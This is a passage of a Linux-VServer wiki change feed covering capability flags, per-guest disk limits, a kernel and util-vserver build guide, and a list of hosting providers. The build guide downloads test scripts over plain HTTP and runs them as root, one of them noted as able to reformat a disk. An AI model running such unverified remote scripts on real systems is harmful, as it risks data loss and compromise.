* The default ccaps are:<br />
SET_UTSNAME<br />
RAW_ICMP<br />
<br />
=== Setting context flags (cflags) ===<br />
* Add the flags to a file named <code>flags</code>:<br />
echo VIRT_MEM >> flags<br />
* The default cflags are (in addition to the defaults set by the kernel):<br />
HIDE_NETIF<br />
<br />
=== Setting network flags (nflags) ===<br />
* Add the flags to a file named <code>nflags</code>:<br />
echo HIDE_NETIF >> nflags<br />
* The default nflags are:<br />
HIDE_NETIF<br />
<br />
=== Setting POSIX capabilities (bcaps) ===<br />
* Add the capabilities to a file named <code>bcapabilities</code>:<br />
echo CHOWN >> bcapabilities<br />
* The default bcaps are:<br />
CHOWN<br />
DAC_OVERRIDE<br />
DAC_READ_SEARCH<br />
FOWNER<br />
FSETID<br />
KILL<br />
SETGID<br />
SETUID<br />
NET_BIND_SERVICE<br />
SYS_CHROOT<br />
SYS_PTRACE<br />
SYS_BOOT<br />
SYS_TTY_CONFIG<br />
LEASE<br />
AUDIT_WRITE<br />
<br />
=== Setting network capabilities (ncaps) ===<br />
* Add the capabilities to a file named <code>ncapabilities</code>:<br />
echo ^12 >> ncapabilities<br />
* There are no default ncaps.</div>Daniel hozachttp://svn.linux-vserver.org/Disk_Limits_and_QuotaDisk Limits and Quota2008-07-07T18:12:44Z<p>Daniel hozac: exclude unified files, stay on one filesystem, and whitespace/spelling</p>
<hr />
<div>== Introduction ==<br />
We call ''Disk Limit'' a disk space limit in a filesystem for one context (i.e. VServer). If you are interested in using user/group quotas inside a VServer, this is not the right place, look at the [[Quotas]] page.<br />
<br />
Of course, you can also use a dedicated partition (or logical volume) for each guest, which is another way to limit disk space usage per guest.<br />
<br />
== Activating disk limits ==<br />
<br />
For VServer version 2.0, please read http://oldwiki.linux-vserver.org/Disk+Limits<br />
<br />
For VServer 2.2+, the procedure is nearly the same, only the mount option has changed:<br />
<br />
# Activate the XID tagging on the filesystem hosting the VServer, using the ''tag'' mount option. You cannot use the ''remount'' option to add the tag on an already mounted filesystem. '''Be warn''', it is not advised to use it on the root filesystem! In the next example, we use the <tt>/dev/sdb1</tt> partition to host all the guests, under the <tt>/vservers</tt> directory <pre>mount -o tag /dev/sdb1 /vservers</pre><br />
# Consider modifying your <tt>/etc/fstab</tt> file if necessary, to make the mount option persist across reboots<br />
# Tag the files belonging to the VServer with its XID <pre>chxid -URx -c vs_name /vservers/vs_name </pre><br />
# Write the limits under the <tt>/etc/vservers/vs_name/dlimits</tt> directory :<br />
## Create this directory if necesary<br />
## Create one sub-directory for each filesystem (in most cases, you should have only one), using any identifier (for example <tt>root</rr>)<br />
## Under <tt>/etc/vservers/vs_name/dlimits/root/</tt>, create the following files :<br />
### <tt>directory</tt> : contains the directory to which the limit should be applied<br />
### <tt>inodes_total</tt> : the amount of inodes this vserver should be limited to<br />
### <tt>reserved</tt> : how much space (percentage-wise) should be reserved for the root user<br />
### <tt>space_total</tt> : the amount of space this vserver should be limited to (measured in blocks of 1024 bytes)<br />
<br />
== Controling disk limits ==<br />
<br />
After starting your VServer, you can control the actual limit using the ''vdlimit'' command (in this example, 300 is the context number associated with ''vs_name'') :<br />
# vdlimit --xid vs_name /vservers<br />
300 /vservers<br />
space_used=154604<br />
space_total=204800<br />
inodes_used=7834<br />
inodes_total=100000<br />
reserved=5<br />
<br />
You can also use the ''vdu'' command (why do we have two commands ??)<br />
# vdu --xid vs_name --space /vservers<br />
/vservers 154604<br />
# vdu --xid vs_name --inodes /vservers<br />
/vservers 7834<br />
<br />
== Removing disk limits ==<br />
To remove disk limits, remove the <tt>/etc/vservers/vs_name/dlimits/root</tt> directory '''and''' remove the limits with the following command <br />
# vdlimit --xid vs_name --remove /vservers<br />
<br />
== More information ==<br />
* See also ''dlimits'' on the util-vserver homepage http://www.nongnu.org/util-vserver/doc/conf/configuration.html<br />
* For information about limiting diskspace with XFS, please see the [[XFS]] page.</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_Linux_2.6Installation on Linux 2.62008-06-28T21:36:49Z<p>Daniel hozac: 0.30.215</p>
<hr />
<div>This guide will explain how to install a Linux-VServer kernel and util-vserver manually from source. It is assumed that you have basic knowledge about building a custom kernel, i.e. that you know which stuff to turn on in the kernel configuration. Of course some Linux-VServer specific options are explained here.<br />
<br />
== Manual Kernel Compilation ==<br />
<br />
You might ask yourself, why should I build a custom kernel? Manually configuring a kernel is often seen as the most difficult procedure a Linux user ever has to perform. Nothing is less true -- after configuring a couple of kernels you don't even remember that it was difficult ;)<br />
<br />
However, one thing is true: you must know your system when you start configuring a kernel manually. Nevertheless there are good reasons to build your kernel manually:<br />
<br />
* Your distribution does not have a prebuilt Linux-VServer kernel<br />
* Your distribution does not have the latest and greatest<br />
* You don't want to install bloated prebuilt kernels<br />
* You want a monolithic kernel and your distribution uses modules<br />
* You can tell everyone that you built your kernels manually ;)<br />
<br />
If you still intend to built your own kernel, read on. Otherwise have a look at our [[Documentation]] section for how to install a prebuilt Linux-VServer kernel for your distribution.<br />
<br />
=== Getting the Sources ===<br />
<br />
You'll need the vanilla kernel sources (i.e. those from [http://www.kernel.org kernel.org]) and (of course) a Linux-VServer patch for the kernel version you intend to use. You can find links to both files in our [[Downloads]] section.<br />
<br />
In this document we will use Linux 2.6.22.19 with Linux-VServer 2.2.0.7.<br />
<br />
First, you have to create a directory for the sources, if you already have one, feel free to skip this step and/or adjust the paths to your needs.<br />
<br />
<pre><br />
# Create a directory for our sources<br />
mkdir ~/src<br />
<br />
# Switch to that directory<br />
cd ~/src<br />
</pre><br />
<br />
Now that we have a place to store our sources, we need to fetch them. We start with the vanilla sources.<br />
<br />
<pre><br />
# Get Linux 2.6.22.19 sources<br />
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.22.19.tar.bz2<br />
<br />
# Extract them<br />
tar xjf linux-2.6.22.19.tar.bz2<br />
</pre><br />
<br />
Now it is time to get the Linux-VServer patch and apply it to the sources. While we're at it, I tell you a nice trick I learned from Bertl, that allows you to keep a lot of source trees on your disk without using up lots of disk space (and this also speeds up 'diff' a lot, which is really nice if you do kernel-hacking). What we do is creating a hard-linked copy of our sources and patch this copy with the Linux-VServer patch. That way, only the patched files use additional disk space (and because hard-linked files are equal by definition, diff doesn't need to compare them).<br />
<br />
<pre><br />
# Get the Linux-VServer 2.2.0.7 patch<br />
wget http://ftp.linux-vserver.org/pub/kernel/vs2.2/patch-2.6.22.19-vs2.2.0.7.diff<br />
<br />
# Create a hard-linked copy of the vanilla sources, this will get the Linux-VServer patch applied<br />
cp -la linux-2.6.22.19 linux-2.6.22.19-vs2.2.0.7<br />
<br />
# Switch to that new directory<br />
cd linux-2.6.22.19-vs2.2.0.7<br />
<br />
# Patch the sources<br />
cat ../patch-2.6.22.19-vs2.2.0.7.diff | patch -p1<br />
</pre><br />
<br />
Now you have two sources, the vanilla sources for 2.6.22.19 and the Linux-VServer sources for 2.6.22.19-vs2.2.0.7. You might ask "Why do I need two source trees at all? I only want one kernel!" and that's a good question.<br />
<br />
Here's one answer: Updates! If a new vanilla kernel is released, you can just download the patch from your version to the new version. Otherwise, if you would have applied the patch to your one and only vanilla source tree, you would not be able to do this. The same applies for new Linux-VServer releases. That is, if a new Linux-VServer patch is available, you can simply create another hardlinked copy of your vanilla sources and apply the new patch using the copy. This can really save you time (and bandwidth), since you can keep everything you might need, without wasting a lot of disk space.<br />
<br />
But be aware that this needs some discipline when hacking the source. Because hard-linked files share the same data on the disk, you need to make sure that your editor does ''The Right Thing'', otherwise you might mess up all your source trees...<br />
<br />
=== Configuring the Kernel ===<br />
<br />
Under Ubuntu (on 8.04 Hardy x86_64 tested) the configuration files of the existing kernel can be found in the /boot directory with a name similar to: config-'uname -r'-general. This file can be used if copied to the source dir of the kernel as a starting point to configure the rest of the kernel. The filename must be .config<br />
Now go to your kernel source directory and execute make menuconfig. This will fire up an ncurses-based configuration menu. (Of course you can use whatever configuration method you like, there is a text based one (make config), a GTK based one (make gconfig), and even a QT based one (make xconfig))<br />
<br />
<pre><br />
# Configure the kernel using a ncurses based menu<br />
make menuconfig<br />
</pre><br />
<br />
It is out of the scope of this guide to explain all the available configuration options. If you feel unsure about certain options either leave it with the default value, or consult your distribution manuals for help.<br />
<br />
Nevertheless, we will explain the Linux-VServer configuration options, of course. Depending on your version your configuration options may look similar to the following:<br />
<br />
<pre><br />
Linux VServer ---><br />
[*] Enable Legacy Kernel API (<2.3)<br />
[ ] Show a Legacy Version ID<br />
[*] Enable dynamic context IDs (2.1 - 2.2)<br />
[ ] Disable Legacy Networking Kernel API (2.0.x only)<br />
[*] Enable Legacy Networking Kernel API (2.1 - 2.2)<br />
[*] Automatically Assign Loopback IP (2.3+)<br />
[*] Automatic Single IP Special Casing (2.3+)<br />
[ ] Remap Source IP Address (<2.3)<br />
[*] Enable COW Immutable Link Breaking (2.1+)<br />
[ ] Enable Virtualized Guest Time (2.1+)<br />
[ ] Enable Guest Device Mapping (2.1, 2.3)<br />
[*] Enable Proc Security<br />
[ ] Enable Hard CPU Limits<br />
[ ] Avoid idle CPUs by skipping Time (2.1+)<br />
[ ] Limit the IDLE task<br />
Persistent Inode Tagging (UID24/GID24) ---><br />
[ ] Tag NFSD User Auth and Files<br />
[ ] Enable Inode Tag Propagation (2.1+)<br />
[ ] Honor Privacy Aspects of Guests (2.1+)<br />
[256] Maximum number of Contexts (1-65533) (2.2+)<br />
[*] VServer Warnings (2.2+)<br />
[ ] VServer Debugging Code<br />
[ ] VServer History Tracing<br />
(64) Per-CPU History Size (32-65536)<br />
[ ] VServer Scheduling Monitor (2.1+)<br />
(1024) Per-CPU Monitor Queue Size (32-65536) (2.1+)<br />
(256) Per-CPU Monitor Sync Interval (0-65536) (2.1+)<br />
</pre><br />
<br />
; Enable Legacy Kernel API<br />
: This enables the legacy API used in vs1.xx, maintaining compatibility with older vserver tools, and guest images that are configured using the legacy method.<br />
<br />
; Show a Legacy Version ID<br />
: This shows a special legacy version to very old tools which do not handle the current version correctly. This will probably disable some features of newer tools so better avoid it, unless you really, really need it for backwards compatibility.<br />
<br />
; Enable dynamic context IDs<br />
: This enables support for in-kernel dynamic context IDs which are deprecated and soon to be removed.<br />
<br />
; Enable/Disable Legacy Networking Kernel API<br />
: This enables/disables the legacy networking API which is required by the chbind tool in util-vserver <= 0.30.209. Do not disable it unless you exactly know what you are doing.<br />
<br />
; Automatically Assign Loopback IP<br />
: Enable this to get a unique 127.x.y.1 address for each network context automatically, and enable the NXF_LBACK_REMAP and NXF_HIDE_LBACK flags. This creates a per-guest, isolated 127.0.0.1 address.<br />
<br />
; Automatic Single IP Special Casing<br />
: Enabling this option will make the kernel automatically set NXF_SINGLE_IP for contexts which have only one IP address (note: an lback address does not count).<br />
<br />
; Remap Source IP Address<br />
: This allows to remap the source IP address of 'local' connections from 127.0.0.1 to the first assigned guest IP.<br />
<br />
; Enable COW Immutable Link Breaking<br />
: This enables the COW (Copy-On-Write) link break code. It allows you to treat [[Unification|unified files]] like normal files when writing to them (which will implicitly break the link and create a copy of the unified file)<br />
<br />
; Enable Virtualized Guest Time<br />
: This enables per guest time offsets to allow for adjusting the system clock individually per guest. This adds some overhead to the time functions and therefore should not be enabled without good reason.<br />
<br />
; Enable Guest Device Mapping<br />
: This enables a generic remapping/access control interface for device nodes used inside the guest.<br />
<br />
; Enable Proc Security<br />
: This configures [[Secure ProcFS Entries|ProcFS security]] to initially hide non-process entries for all contexts except the main and spectator context (i.e. for all guests), which is a secure default.<br />
<br />
; Enable Hard CPU Limits<br />
: This will compile in code that allows the [[CPU Scheduler|Token Bucket Scheduler]] to put processes on hold when a context's tokens are depleted (provided that its per-context sched_hard flag is set).<br />
<br />
; Avoid idle CPUs by skipping Time<br />
: This option allows the scheduler to artificially advance time (per cpu) when otherwise the idle task would be scheduled, thus keeping the cpu busy and sharing the available resources among certain contexts.<br />
<br />
; Limit the IDLE task<br />
: Limit the idle slices, so the the next context will be scheduled as soon as possible. This might improve interactivity and latency, but will also marginally increase scheduling overhead.<br />
<br />
; Persistent Inode Tagging<br />
: This adds persistent context information to filesystems mounted with the tagxid option. [[Filesystem Tagging|Tagging]] is a requirement for per-context [[Disk Limits and Quota]].<br />
<br />
; Tag NFSD User Auth and Files<br />
: Enable this if you do want the in-kernel NFS Server to use the xid tagging specified above.<br />
<br />
; Enable Inode Tag Propagation<br />
: This allows for the tagid= mount option to specify a tagid which is to be used for the entire mount tree.<br />
<br />
; Honor Privacy Aspects of Guests<br />
: When enabled, most context checks will disallow access to structures assigned to a specific context, like ptys or loop devices.<br />
<br />
; Maximum number of Contexts<br />
: This makes sure that at least this many contexts can be created, by making sure that this much per-CPU memory is available.<br />
<br />
; VServer Warnings<br />
: Enables warnings. There's not really a good reason to disable it.<br />
<br />
; VServer Debugging Code<br />
: Set this to yes if you want to be able to activate debugging output at runtime. It adds a probably small overhead to all vserver related functions and increases the kernel size by about 20k.<br />
<br />
; VServer History Tracing<br />
: This records a history of Linux-VServer events that can be replayed in the event of a panic or an oops.<br />
<br />
; Per-CPU History Size<br />
: This allows you to set the size of the per-CPU history buffer.<br />
<br />
; VServer Scheduling Monitor<br />
: Set this to yes if you want to record the scheduling decisions, so that they can be relayed to userspace for detailed analysis.<br />
<br />
; Per-CPU Monitor Queue Size<br />
: This allows you to specify the number of entries in the per-CPU scheduling monitor buffer.<br />
<br />
; Per-CPU Monitor Sync Interval<br />
: This allows you to specify the interval in ticks when a time sync entry is inserted.<br />
<br />
=== Compiling and Installing ===<br />
<br />
Now that your kernel is configured, it is time to compile and install it. Exit the configuration and start the compilation process: <br />
<br />
<pre><br />
# make && make modules_install<br />
</pre><br />
<br />
If you don't happen to have a really fast box, it is a good time to get a new cup of coffee now ;)<br />
<br />
When the kernel has finished compiling, you have to copy the kernel image to your /boot partition and configure your boot loader. If you don't know how to do this, please consult your distribution manual or ask [http://www.google.com Google] for help.<br />
<br />
== Manual util-vserver Compilation ==<br />
<br />
The kernel alone does not help you, you also need some tools to exploit all those new features you got, so let's get them.<br />
<br />
=== Getting the Sources ===<br />
<br />
You will have to download the latest util-vserver source tarball from our [[Downloads]] section. In this guide we will use util-vserver-0.30.215.<br />
<br />
As a first step, of course, we need to get the sources.<br />
<br />
<pre><br />
# Go to our source directory<br />
cd ~/src<br />
<br />
# Get the sources for util-vserver<br />
wget http://ftp.linux-vserver.org/pub/utils/util-vserver/util-vserver-0.30.215.tar.bz2<br />
<br />
# Extract the sources<br />
tar xjf util-vserver-0.30.215.tar.bz2<br />
</pre><br />
<br />
=== Compiling and Installing ===<br />
<br />
Now that we have extracted the util-vserver source we have to do the usual configure, make, make install chain. While configuring the tools you may get some error messages about missing stuff, for example dietlibc, vconfig and e2fs headers. The error messages are accompanied by explanations what you should do, so read them carefully.<br />
<br />
<pre><br />
# Switch to the util-vserver source directory<br />
cd util-vserver-0.30.215<br />
<br />
# Configure the sources (you may want to adjust settings here, the defaults work, but may not suit your needs)<br />
./configure --prefix=<br />
<br />
# Build the tools<br />
make<br />
<br />
# Install the tools<br />
make install<br />
<br />
# It's a good point to fix the /proc entries for the guests<br />
/etc/init.d/vprocunhide restart (this path depends on configuration, see output of 'vserver-info')<br />
</pre><br />
<br />
=== Testing your setup ===<br />
<br />
To ensure that your setup works we have created two small test scripts. The testme.sh script ensures basic functionality whereas the testfs.sh script is for inode attribute testing for various filesystems.<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh<br />
<br />
# make it executable<br />
chmod +x testme.sh<br />
<br />
# run the test script<br />
./testme.sh<br />
</pre><br />
<br />
'''Be careful! The testfs.sh script might easily reformat your hard disk :)'''<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testfs.sh<br />
<br />
# make it executable<br />
chmod +x testfs.sh<br />
<br />
# make a loopback file<br />
dd bs=1024k count=1024 if=/dev/zero of=1gb.testfile<br />
<br />
# setup the loopback<br />
losetup /dev/loop0 1gb.testfile<br />
<br />
# run the test script for legacy mode<br />
./testfs.sh -l -t -D /dev/loop0 -M /mnt<br />
<br />
# run the test script for new-style config<br />
./testfs.sh -t -D /dev/loop0 -M /mnt<br />
</pre><br />
<br />
If the scripts show any error, be sure to read [[Report a Bug|how to report a bug]] and contact the Linux-VServer Developers for help. See [[Communicate]] for details.<br />
<br />
== Where to go from here ==<br />
<br />
Now that your setup is complete and working as expected, it is time to create your first guest system. Read on at [[Building Guest Systems]].</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2008-06-11T16:52:22Z<p>Daniel hozac: not Linux-VServer...</p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* AMD64 Linux VServer Dedicated Managed Virtual Servers<br />
* Debian based / 2.6 kernel / dedicated IP address<br />
* RAID Storage, Additional Backup, AMD Dual Core Processors, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://www.van-cuijk.nl/content/view/5/1/ ICT Van Cuijk]<br />
| rowspan=2 |<br />
* Servers located at RedBus in Amsterdam on 100 Mbit connection<br />
* Product support available in Dutch and English<br />
* Currently only offers Debian guests, but will change soon<br />
* Standard 1 public IP from RIPE space, more on request<br />
* Reverse DNS available<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.vserver-hosting.cz/ vServer-Hosting.cz]<br />
| rowspan=2 |<br />
* Linux kernel 2.6<br />
* Intel Xeon platform<br />
* Distributions: Debian, Ubuntu and others<br />
* Unlimited traffic<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* 2 machines P4 2.4GHz 1GB each running vs1.00 (Jan04) stable since 1.Jul.2003<br />
* We use VServer as an alternative between the shared webhosting and serverhousing.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
